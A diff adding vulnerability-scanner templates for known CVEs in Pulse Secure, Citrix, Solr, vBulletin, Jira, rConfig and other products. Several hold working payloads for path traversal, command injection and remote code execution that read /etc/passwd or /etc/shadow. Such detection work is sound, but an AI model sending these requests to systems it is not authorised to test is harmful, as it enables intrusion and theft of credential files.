|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='Apache Solr Detected'
|
||||
URI=''
|
||||
METHOD='GET'
|
||||
MATCH="Solr\ Admin"
|
||||
SEVERITY='P5 - INFO'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='Apache Tomcat Detected'
|
||||
URI='/404_DOES_NOT_EXIST'
|
||||
METHOD='GET'
|
||||
MATCH="Apache\ Tomcat\/[0-9]?[0-9]\.[0-9]?[0-9]\.[0-9]?[0-9]"
|
||||
SEVERITY='P5 - INFO'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-o'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='AvantFAX LOGIN Detected'
|
||||
URI=''
|
||||
METHOD='GET'
|
||||
MATCH="AvantFAX\ LOGIN"
|
||||
SEVERITY='P5 - INFO'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2018-13379 - Fortigate Pulse Connect Secure Directory Traversal'
|
||||
URI='/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
|
||||
METHOD='GET'
|
||||
MATCH='\.\.\.\.\.\.\.\.\.\.\.\.\.'
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-11510 - Pulse Connect Secure SSL VPN Arbitrary File Read'
|
||||
URI='/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'
|
||||
METHOD='GET'
|
||||
MATCH="root:*:"
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-11580 - Atlassian Crowd Data Center Unauthenticated RCE'
|
||||
URI='/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow'
|
||||
METHOD='GET'
|
||||
MATCH="root:*:"
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-11581 - Jira Template Injection'
|
||||
URI='/secure/ContactAdministrators!default.jspa'
|
||||
METHOD='GET'
|
||||
MATCH='Contact Site Administrators'
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-1653 - Cisco RV320 RV326 Configuration Disclosure'
|
||||
URI="/cgi-bin/config.exp"
|
||||
METHOD='GET'
|
||||
MATCH="sysconfig"
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-16662 - rConfig 3.9.2 Remote Code Execution'
|
||||
URI='/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23'
|
||||
METHOD='GET'
|
||||
MATCH="root:*:"
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS='--user-agent "" -s -L --insecure'
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution'
|
||||
URI='/'
|
||||
METHOD='POST'
|
||||
MATCH='1787569'
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS='-d "routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27echo+$((1%2B1787568))%27%29%3B+exit%3B" -H "Content-Type: application/x-www-form-urlencoded" --user-agent "" -s -L --insecure'
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution Bypass'
|
||||
URI='/ajax/render/widget_tabbedcontainer_tab_panel'
|
||||
METHOD='POST'
|
||||
MATCH='PHP\ Version'
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS='-d "subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();" -H "Content-Type: application/x-www-form-urlencoded" --user-agent "" -s -L --insecure'
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-17558 - Apache Solr RCE'
|
||||
URI='/solr/dovecot/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end'
|
||||
METHOD='GET'
|
||||
MATCH="root:*:"
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
# Import any WebDriver class that you would usually import from
|
||||
# selenium.webdriver from the seleniumrequests module
|
||||
import sys
|
||||
from seleniumrequests import Firefox
|
||||
|
||||
url = sys.argv[1]
|
||||
# Simple usage with built-in WebDrivers:
|
||||
webdriver = Firefox()
|
||||
response = webdriver.request('GET', '%s/en/embeddedAuthRedirect.html?auth=javascript:document.write(1+1336)' % url)
|
||||
if '1337' in response.text:
|
||||
print("Vulnerable!")
|
||||
print(response.text)
|
||||
webdriver.quit()
|
||||
SECONDARY_COMMANDS=''
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-19781 - Citrix ADC Directory Traversal'
|
||||
URI='/vpn/../vpns/cfg/smb.conf'
|
||||
METHOD='GET'
|
||||
MATCH='\[global\]'
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-19908 - phpMyChat-Plus XSS'
|
||||
URI="/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E"
|
||||
METHOD='GET'
|
||||
MATCH="<script>alert\(1337\)<\/script>"
|
||||
SEVERITY='P2 - HIGH'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-5418 - File Content Disclosure on Rails'
|
||||
URI="/../../../../../../../../etc/passwd\{\{"
|
||||
METHOD='GET'
|
||||
MATCH="root:*:"
|
||||
SEVERITY='P2 - HIGH'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-6340 - Drupal8 REST RCE SA-CORE-2019-003'
|
||||
URI='/node/1?_format=hal_json'
|
||||
METHOD='GET'
|
||||
MATCH='INVALID_VALUE\ does\ not\ correspond'
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS='--user-agent "" -s -L --insecure -H "Content-Type: application/hal+json" --data \'{ "_links": { "type": { "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/INVALID_VALUE" } }, "type": { "target_id": "article" }, "title": { "value": "My Article" }, "body": { "value": "some body content aaa bbb ccc" }}\' '
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-7192 - QNAP Pre-Auth Root RCE'
|
||||
URI='/photo/p/api/video.php'
|
||||
METHOD='GET'
|
||||
MATCH="\[\ 401\ Unauthorized\ \]"
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-8442 - Jira Webroot Directory Traversal 1'
|
||||
URI="/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"
|
||||
METHOD='GET'
|
||||
MATCH='artifactId'
|
||||
SEVERITY='P2 - HIGH'
|
||||
CURL_OPTS='-L --user-agent '' -s --insecure'
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-8442 - Jira Webroot Directory Traversal 2'
|
||||
URI="/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties"
|
||||
METHOD='GET'
|
||||
MATCH='artifactId'
|
||||
SEVERITY='P2 - HIGH'
|
||||
CURL_OPTS='-L --user-agent '' -s --insecure'
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-8451 Jira SSRF 1'
|
||||
URI="/plugins/servlet/gadgets/makeRequest?url=https://127.0.0.1:443@google.com"
|
||||
METHOD='GET'
|
||||
MATCH='<title>Google</title>'
|
||||
SEVERITY='P3 - MEDIUM'
|
||||
CURL_OPTS='-L -H "X-Atlassian-Token: no-check --user-agent '' -s --insecure'
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-8451 Jira SSRF 2'
|
||||
URI="/jira/plugins/servlet/gadgets/makeRequest?url=https://127.0.0.1:443@google.com"
|
||||
METHOD='GET'
|
||||
MATCH='<title>Google</title>'
|
||||
SEVERITY='P3 - MEDIUM'
|
||||
CURL_OPTS='-L -H "X-Atlassian-Token: no-check --user-agent '' -s --insecure'
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-8451 Jira SSRF 3'
|
||||
URI="/wiki/plugins/servlet/gadgets/makeRequest?url=https://127.0.0.1:443@google.com"
|
||||
METHOD='GET'
|
||||
MATCH='<title>Google</title>'
|
||||
SEVERITY='P3 - MEDIUM'
|
||||
CURL_OPTS='-L -H "X-Atlassian-Token: no-check --user-agent '' -s --insecure'
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-8451 Jira SSRF 4'
|
||||
URI="/confluence/plugins/servlet/gadgets/makeRequest?url=https://127.0.0.1:443@google.com"
|
||||
METHOD='GET'
|
||||
MATCH='<title>Google</title>'
|
||||
SEVERITY='P3 - MEDIUM'
|
||||
CURL_OPTS='-L -H "X-Atlassian-Token: no-check --user-agent '' -s --insecure'
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-8903 - Totaljs - Unathenticated Directory Traversal'
|
||||
URI="/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html"
|
||||
METHOD='GET'
|
||||
MATCH="apache2\.conf"
|
||||
SEVERITY='P2 - HIGH'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2019-8982 - Wavemaker Studio 6.6 LFI/SSRF'
|
||||
URI="/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd"
|
||||
METHOD='GET'
|
||||
MATCH="root:*:"
|
||||
SEVERITY='P2 - HIGH'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2020-0618 - Remote Code Execution SQL Server Reporting Services'
|
||||
URI="/ReportServer/Pages/ReportViewer.aspx"
|
||||
METHOD='GET'
|
||||
MATCH="view\ report"
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS="--user-agent '' -s --insecure -I "
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2020-10204 - Sonatype Nexus Repository RCE'
|
||||
URI="/extdirect"
|
||||
METHOD='POST'
|
||||
MATCH="1787569"
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS='--user-agent '' -s --insecure -L --data \'{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"anonymous@example.org","status":"active","roles":["$\\c{1337*1337"]}],"type":"rpc","tid":28}\'
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='CVE-2020-1147 - Remote Code Execution in Microsoft SharePoint Server'
|
||||
URI="/_layouts/15/listform.aspx?PageType=1&ListId=%7B13371337-1337-1337-1337-133713371337%7D"
|
||||
METHOD='GET'
|
||||
MATCH="List\ does\ not\ exist|It\ may\ have\ been\ deleted\ by\ another\ user"
|
||||
SEVERITY='P1 - CRITICAL'
|
||||
CURL_OPTS="--user-agent '' -s --insecure -I "
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue